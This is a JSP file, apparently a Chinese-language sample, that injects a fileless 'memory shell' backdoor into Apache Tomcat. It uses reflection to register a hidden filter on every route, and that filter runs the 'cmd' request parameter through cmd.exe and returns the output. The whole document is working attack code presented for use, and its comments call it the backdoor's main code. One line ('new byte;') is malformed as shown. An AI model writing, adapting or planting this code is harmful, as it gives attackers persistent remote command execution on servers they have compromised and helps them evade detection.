servlet 内存马
<%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "bihuo_new";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
//这里写上我们后门的主要代码
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte;
Process process = new ProcessBuilder("cmd.exe","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
//别忘记带这个，不然的话其他的过滤器可能无法使用
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
// 将filterDef添加到filterDefs中
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
//拦截的路由规则，/* 表示拦截任意路由
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("注入成功");
}
%>
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